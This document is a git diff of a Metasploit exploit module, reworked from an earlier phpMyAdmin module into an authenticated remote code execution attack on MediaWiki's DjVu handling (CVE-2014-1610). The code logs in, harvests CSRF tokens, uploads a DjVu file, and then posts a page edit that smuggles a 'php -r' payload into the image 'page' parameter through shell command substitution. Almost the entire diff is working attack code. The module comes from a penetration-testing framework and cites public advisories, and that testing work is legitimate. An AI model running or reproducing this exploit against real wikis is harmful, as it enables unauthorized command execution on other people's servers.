Polished
parent
7fa1522299
commit
700c6545f0
|
@ -4,6 +4,7 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'nokogiri'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
@ -12,80 +13,118 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MediaWiki Remote Code Execution',
|
||||
'Name' => 'MediaWiki DjVu Authenticated Remote Code Execution',
|
||||
'Description' => %q{
|
||||
MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11,
|
||||
when DjVu file upload support is enabled, allows remote authenticated
|
||||
users to execute arbitrary commands via shell metacharacters in the page
|
||||
parameter to includes/media/DjVu.php
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Janek "waraxe" Vind', # Discovery
|
||||
'Netanel Rubin', # from Check Point - Discovery
|
||||
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>', # Metasploit Module
|
||||
'Ben Harris'
|
||||
'Ben Harris' # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-3238' ],
|
||||
[ 'PMASA', '2013-2'],
|
||||
[ 'waraxe', '2013-SA#103' ],
|
||||
[ 'EDB', '25003'],
|
||||
[ 'OSVDB', '92793'],
|
||||
[ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
|
||||
[ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2013-2.php' ]
|
||||
[ 'CVE', '2014-1610' ],
|
||||
[ 'OSVDB', '102630'],
|
||||
[ 'URL', 'http://www.checkpoint.com/threatcloud-central/articles/2014-01-28-tc-researchers-discover.html' ],
|
||||
[ 'URL', 'https://bugzilla.wikimedia.org/show_bug.cgi?id=60339' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Arch' => ARCH_PHP, # Could do ARCH_CMD
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "&\n=+%",
|
||||
# Clear out PMA's error handler so it doesn't lose its mind
|
||||
# and cause ENOMEM errors and segfaults in the destructor.
|
||||
'Prepend' => "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);"
|
||||
'BadChars' => "", # http://www.mediawiki.org/wiki/Help:Formatting
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 25 2013'))
|
||||
'DisclosureDate' => 'Jan 28 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/index.php']),
|
||||
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
|
||||
OptString.new('TARGETURI', [ true, "Base index.php path", '/index.php']),
|
||||
OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
|
||||
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
uri = target_uri.path
|
||||
|
||||
response = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'Main_Page')
|
||||
})
|
||||
|
||||
if response and response.code == 200
|
||||
response_html = Nokogiri::HTML(response.body)
|
||||
meta_generator = response_html.xpath("//meta[@name='generator']").first['content']
|
||||
|
||||
if meta_generator && meta_generator =~ /mediawiki/i
|
||||
vprint_status("#{meta_generator} detected.")
|
||||
meta_generator =~ /(\d)\.(\d)+\.(\d)+/
|
||||
major = $1.to_i
|
||||
minor = $2.to_i
|
||||
patch = $3.to_i
|
||||
vprint_status("Major:#{major} Minor:#{minor} Patch:#{patch}")
|
||||
|
||||
if major != 1
|
||||
return CheckCode::Safe
|
||||
else
|
||||
if minor < 8 || minor > 22
|
||||
return CheckCode::Safe
|
||||
else
|
||||
if minor == 22 && patch > 1
|
||||
return CheckCode::Safe
|
||||
elsif minor == 21 && patch > 4
|
||||
return CheckCode::Safe
|
||||
elsif minor == 19 && patch > 10
|
||||
return CheckCode::Safe
|
||||
else
|
||||
return CheckCode::Appears
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
username = datastore['USERNAME']
|
||||
password = datastore['PASSWORD']
|
||||
uri = target_uri.path
|
||||
|
||||
print_status("Grabbing CSRF token...")
|
||||
print_status("Grabbing login CSRF token...")
|
||||
response = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'vars_get' => { 'title' => 'Special:UserLogin' }
|
||||
})
|
||||
if response.nil?
|
||||
|
||||
unless response
|
||||
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
|
||||
end
|
||||
|
||||
session_cookie = response.get_cookies
|
||||
|
||||
if (response.body !~ /"wpLoginToken"\s*value="([^"]*)"/)
|
||||
response_html = Nokogiri::HTML(response.body)
|
||||
wp_login_token = get_token_value(response_html, 'wpLoginToken')
|
||||
|
||||
unless wp_login_token
|
||||
fail_with(Failure::NotFound, "Couldn't find login token. Is URI set correctly?")
|
||||
else
|
||||
print_good("Retrieved login token")
|
||||
print_good("Retrieved login CSRF token.")
|
||||
end
|
||||
|
||||
wp_login_token = $1
|
||||
puts wp_login_token.inspect
|
||||
|
||||
print_status("Attempting to login...")
|
||||
login = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
|
@ -103,143 +142,136 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
})
|
||||
|
||||
if login.nil?
|
||||
fail_with(Failure::NotFound, "Failoed to retrieve webpage.")
|
||||
if login and login.code == 302
|
||||
print_good("Log in successful.")
|
||||
else
|
||||
fail_with(Failure::NotFound, "Failed to log in.")
|
||||
end
|
||||
|
||||
auth_cookie = login.get_cookies.gsub('mediawikiToken=deleted;','')
|
||||
|
||||
edit = send_request_cgi({
|
||||
print_status("Getting upload CSRF token...")
|
||||
upload_file = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, "/Special:Upload"),
|
||||
'cookie' => auth_cookie
|
||||
})
|
||||
|
||||
if edit.nil?
|
||||
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
|
||||
unless upload_file and upload_file.code == 200
|
||||
fail_with(Failure::NotFound, "Failed to access file upload page.")
|
||||
end
|
||||
|
||||
if (edit.body !~ /"wpEditToken".*value="([^"]*)"/)
|
||||
fail_with(Failure::NotFound, "Couldn't find edit token. Is URI set correctly?")
|
||||
upload_file_html = Nokogiri::HTML(upload_file.body)
|
||||
wp_edit_token = get_token_value(upload_file_html, 'wpEditToken')
|
||||
wp_upload = get_token_value(upload_file_html, 'wpUpload')
|
||||
title = get_token_value(upload_file_html, 'title')
|
||||
|
||||
unless wp_edit_token
|
||||
fail_with(Failure::NotFound, "Couldn't find upload token. Is URI set correctly?")
|
||||
else
|
||||
print_good("Retrieved edit token")
|
||||
print_good("Retrieved upload CSRF token.")
|
||||
end
|
||||
|
||||
wp_edit_token = $1
|
||||
|
||||
upload_mime = Rex::MIME::Message.new
|
||||
|
||||
djvu_file = ::File.read(::File.join(Msf::Config.data_directory, "exploits", "Alice_in_Wonderland.djvu"))
|
||||
file_name = rand_text_alpha(4)
|
||||
file_name = "#{rand_text_alpha(4)}.djvu"
|
||||
|
||||
#upload_mime.add_part(djvu_file, "application/octet-stream", nil, "form-data; name=\"wpUploadFile\"; filename=\"#{file_name}.djvu\"")
|
||||
#upload_mime.add_part("#{file_name}.djvu", nil, nil, "form-data; name=\"wpDestFile\"")
|
||||
#upload_mime.add_part("", nil, nil, "form-data; name=\"wpUploadDescription\"")
|
||||
#upload_mime.add_part("", nil, nil, "form-data; name=\"wpLicense\"")
|
||||
#upload_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"")
|
||||
#upload_mime.add_part("Special:Upload", nil, nil, "form-data; name=\"title\"")
|
||||
#upload_mime.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
|
||||
#upload_mime.add_part("Upload file", nil, nil, "form-data; name=\"wpUpload\"")
|
||||
content_sep= "---------------------------23909616611238\r\n"
|
||||
upload_mime.add_part(djvu_file, "application/octet-stream", nil, "form-data; name=\"wpUploadFile\"; filename=\"#{file_name}\"")
|
||||
upload_mime.add_part("#{file_name}", nil, nil, "form-data; name=\"wpDestFile\"")
|
||||
upload_mime.add_part("#{rand_text_alpha(4)}", nil, nil, "form-data; name=\"wpUploadDescription\"")
|
||||
upload_mime.add_part("", nil, nil, "form-data; name=\"wpLicense\"")
|
||||
upload_mime.add_part("1",nil,nil, "form-data; name=\"wpIgnoreWarning\"")
|
||||
upload_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"")
|
||||
upload_mime.add_part(title, nil, nil, "form-data; name=\"title\"")
|
||||
upload_mime.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
|
||||
upload_mime.add_part(wp_upload, nil, nil, "form-data; name=\"wpUpload\"")
|
||||
post_data = upload_mime.to_html
|
||||
|
||||
upload_mime = content_sep
|
||||
upload_mime << "Content-Disposition: form-data; name=\"wpUploadFile\"; filename=\"#{file_name}\"\r\n"
|
||||
upload_mime << "Content-Type: application/octet-stream\r\n"
|
||||
upload_mime << djvu_file
|
||||
upload_mime << "Content-Disposition: form-data; name=\"wpDestFile\"\r\n"
|
||||
upload_mime << "\r\n"
|
||||
upload_mime << "#{file_name}\r\n"
|
||||
upload_mime << content_sep
|
||||
upload_mime << "Content-Disposition: form-data; name=\"wpUploadDescription\"\r\n"
|
||||
upload_mime << "\r\n"
|
||||
upload_mime << content_sep
|
||||
upload_mime << "Content-Disposition: form-data; name=\"wpLicense\"\r\n"
|
||||
upload_mime << "\r\n"
|
||||
upload_mime << content_sep
|
||||
upload_mime << "Content-Disposition: form-data; name=\"wpEditToken\"\r\n"
|
||||
upload_mime << "\r\n"
|
||||
upload_mime << "#{wp_edit_token}\r\n"
|
||||
upload_mime << content_sep
|
||||
upload_mime << "Content-Disposition: form-data; name=\"title\"\r\n"
|
||||
upload_mime << "\r\n"
|
||||
upload_mime << "Special:Upload\r\n"
|
||||
upload_mime << content_sep
|
||||
upload_mime << "Content-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n"
|
||||
upload_mime << "\r\n"
|
||||
upload_mime << "1\r\n"
|
||||
upload_mime << content_sep
|
||||
upload_mime << "Content-Disposition: form-data; name=\"wpUpload\"\r\n"
|
||||
upload_mime << "\r\n"
|
||||
upload_mime << "Upload file"
|
||||
upload_mime << content_sep
|
||||
print_status("Uploading DjVu file #{file_name}...")
|
||||
|
||||
upload = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, "Special:Upload"),
|
||||
'cookie' => auth_cookie,
|
||||
'data' => upload_mime.to_s,
|
||||
'headers' => {
|
||||
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
|
||||
'Accept-Language' => 'en-us,en;q=0.5',
|
||||
'Accept-Encoding' => 'gzip,deflate',
|
||||
'Connection' => 'Keep-Alive',
|
||||
},
|
||||
'ctype' => "multipart/form-data; boundary=#{content_sep.gsub("\r\n")}"
|
||||
'data' => post_data,
|
||||
'ctype' => "multipart/form-data; boundary=#{upload_mime.bound}",
|
||||
'cookie' => auth_cookie
|
||||
})
|
||||
|
||||
puts upload.headers
|
||||
|
||||
return
|
||||
|
||||
|
||||
post = {
|
||||
'token' => token,
|
||||
'pma_username' => datastore['USERNAME'],
|
||||
'pma_password' => datastore['PASSWORD']
|
||||
}
|
||||
|
||||
print_status("Authenticating...")
|
||||
|
||||
login = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'vars_post' => post
|
||||
})
|
||||
|
||||
if login.nil?
|
||||
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
|
||||
end
|
||||
|
||||
token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first
|
||||
|
||||
cookies = login.get_cookies
|
||||
|
||||
login_check = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'vars_get' => { 'token' => token },
|
||||
'cookie' => cookies
|
||||
})
|
||||
|
||||
if login_check.body =~ /Welcome to/
|
||||
fail_with(Failure::NoAccess, "Authentication failed.")
|
||||
if upload and upload.code == 302 and upload.headers['Location']
|
||||
location = upload.headers['Location']
|
||||
print_good("File uploaded to #{location}")
|
||||
else
|
||||
print_good("Authentication successful")
|
||||
fail_with(Failure::Unknown, "Failed to upload file.")
|
||||
end
|
||||
|
||||
db = rand_text_alpha(3+rand(3))
|
||||
exploit_result = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'db_structure.php'),
|
||||
random_page = rand_text_alpha(8)
|
||||
|
||||
print_status("Retrieving edit CSRF token...")
|
||||
random_edit = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'vars_get' => {
|
||||
'title'=> random_page,
|
||||
'action' => 'edit'
|
||||
},
|
||||
'cookie' => auth_cookie
|
||||
})
|
||||
|
||||
unless random_edit and random_edit.code == 200
|
||||
fail_with(Failure::Unknown, "Failed to open target edit page: #{random_page}.")
|
||||
end
|
||||
|
||||
random_html = Nokogiri::HTML(random_edit.body)
|
||||
|
||||
wp_auto_summary = get_token_value(random_html, 'wpAutoSummary')
|
||||
wp_edit_token = get_token_value(random_html, 'wpEditToken')
|
||||
wp_start_time = get_token_value(random_html, 'wpStarttime')
|
||||
wp_edit_time = get_token_value(random_html, 'wpEdittime')
|
||||
old_id = get_token_value(random_html, 'oldid')
|
||||
wp_scroll_top = get_token_value(random_html, 'wpScrolltop')
|
||||
wp_section = get_token_value(random_html, 'wpSection')
|
||||
|
||||
if wp_edit_token
|
||||
print_good("Retrieved edit CSRF token.")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Failed to retrieve edit CSRF token.")
|
||||
end
|
||||
|
||||
edit_mime = Rex::MIME::Message.new
|
||||
edit_mime.add_part(wp_section, nil, nil, "form-data; name=\"wpSection\"")
|
||||
edit_mime.add_part(wp_start_time, nil, nil, "form-data; name=\"wpStarttime\"")
|
||||
edit_mime.add_part(wp_edit_time, nil, nil, "form-data; name=\"wpEdittime\"")
|
||||
edit_mime.add_part(wp_scroll_top, nil, nil, "form-data; name=\"wpScrolltop\"")
|
||||
edit_mime.add_part(wp_auto_summary,nil,nil, "form-data; name=\"wpAutoSummary\"")
|
||||
edit_mime.add_part(old_id, nil, nil, "form-data; name=\"oldid\"")
|
||||
edit_mime.add_part("[[Image:#{file_name}|width=9999|page=1$(php -r '#{payload.encoded}')]]", nil, nil, "form-data; name=\"wpTextbox1\"")
|
||||
edit_mime.add_part("Save page", nil, nil, "form-data; name=\"wpSummary\"")
|
||||
edit_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"")
|
||||
post_data = edit_mime.to_html
|
||||
|
||||
print_status("Sending payload request...")
|
||||
edit = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'cookie' => cookies,
|
||||
'vars_post' => {
|
||||
'query_type' => 'replace_prefix_tbl',
|
||||
'db' => db,
|
||||
'selected[0]' => db,
|
||||
'token' => token,
|
||||
'from_prefix' => "/e\0",
|
||||
'to_prefix' => payload.encoded,
|
||||
'mult_btn' => 'Yes'
|
||||
}
|
||||
},1)
|
||||
'cookie' => auth_cookie,
|
||||
'vars_get' => {
|
||||
'title' => random_page,
|
||||
'action' => 'submit'
|
||||
},
|
||||
'data' => post_data,
|
||||
'ctype' => "multipart/form-data; boundary=#{edit_mime.bound}"
|
||||
}, 1)
|
||||
|
||||
if edit
|
||||
print_error("Payload probably failed...")
|
||||
end
|
||||
end
|
||||
|
||||
def get_token_value(document, value_name)
|
||||
return nil unless document
|
||||
return nil unless value_name
|
||||
node = document.xpath("//input[@name='#{value_name}']")
|
||||
return nil unless node
|
||||
node.first['value']
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue